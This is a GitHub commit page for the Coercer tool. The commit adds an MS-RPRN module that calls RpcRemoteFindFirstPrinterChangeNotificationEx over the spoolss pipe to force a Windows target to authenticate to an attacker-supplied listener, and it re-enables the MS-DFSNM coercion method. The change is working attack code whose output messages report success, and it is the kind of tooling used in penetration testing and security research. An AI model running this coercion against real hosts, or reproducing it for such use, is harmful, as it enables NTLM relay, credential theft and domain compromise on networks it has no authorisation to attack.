Skip to content

Commit

Permalink
Implemented MS-RPRN:RpcRemoteFindFirstPrinterChangeNotificationEx, fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
p0dalirius committed Jul 9, 2022
1 parent fb0cf7c commit d7e19bd
Show file tree
Hide file tree
Showing 3 changed files with 68 additions and 3 deletions.
5 changes: 2 additions & 3 deletions coercer.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@
import os
import sys

from lib.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM
from lib.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM, MS_RPRN
from lib.utils.smb import connect_to_pipe, can_bind_to_protocol, get_available_pipes_and_protocols


Expand Down Expand Up @@ -102,8 +102,7 @@ def coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_pro


available_protocols = [
#MS_DFSNM,
MS_EFSR, MS_FSRVP
MS_DFSNM, MS_EFSR, MS_FSRVP, MS_RPRN
]


Expand Down
65 changes: 65 additions & 0 deletions lib/protocols/MS_RPRN.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : MS_RPRN.py
# Author : Podalirius (@podalirius_)
# Date created : 9 Jul 2022


import sys
from .RPCProtocol import RPCProtocol, DCERPCSessionError
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, LONG, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR, GUID
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY


class MS_RPRN(RPCProtocol):
name = "[MS-RPRN]: Print System Remote Protocol"
shortname = "MS-RPRN"
uuid = "12345678-1234-ABCD-EF00-0123456789AB"
version = "1.0"
available_pipes = [r"\PIPE\spoolss"]

def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3):
# Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d
# Finding credits:
call_name, call_opnum = "RpcRemoteFindFirstPrinterChangeNotificationEx", 65
if self.dce is not None:
tries = 0
while tries <= max_retries:
tries += 1
print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
sys.stdout.flush()
try:
resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target)

request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
request['hPrinter'] = resp['pHandle']
request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
request['pszLocalMachine'] = '\\\\%s\x00' % listener
request['pOptions'] = NULL
if self.debug:
request.dump()
resp = self.dce.request(request)
except Exception as e:
if "rpc_s_access_denied" in str(e):
# DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
return False
else:
print("\x1b[1;91m%s\x1b[0m" % str(e))
if self.debug:
pass
else:
if self.verbose:
print("[!] Error: dce is None, you must call connect() first.")

@classmethod
def list_coerce_methods(cls):
return [
("RpcRemoteFindFirstPrinterChangeNotificationEx", 65, None)
]

def perform_coerce_calls(self, listener):
if listener is not None:
self.RpcRemoteFindFirstPrinterChangeNotificationEx(listener)
1 change: 1 addition & 0 deletions lib/protocols/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,3 +7,4 @@
from .MS_DFSNM import MS_DFSNM
from .MS_EFSR import MS_EFSR
from .MS_FSRVP import MS_FSRVP
from .MS_RPRN import MS_RPRN

0 comments on commit d7e19bd

Please sign in to comment.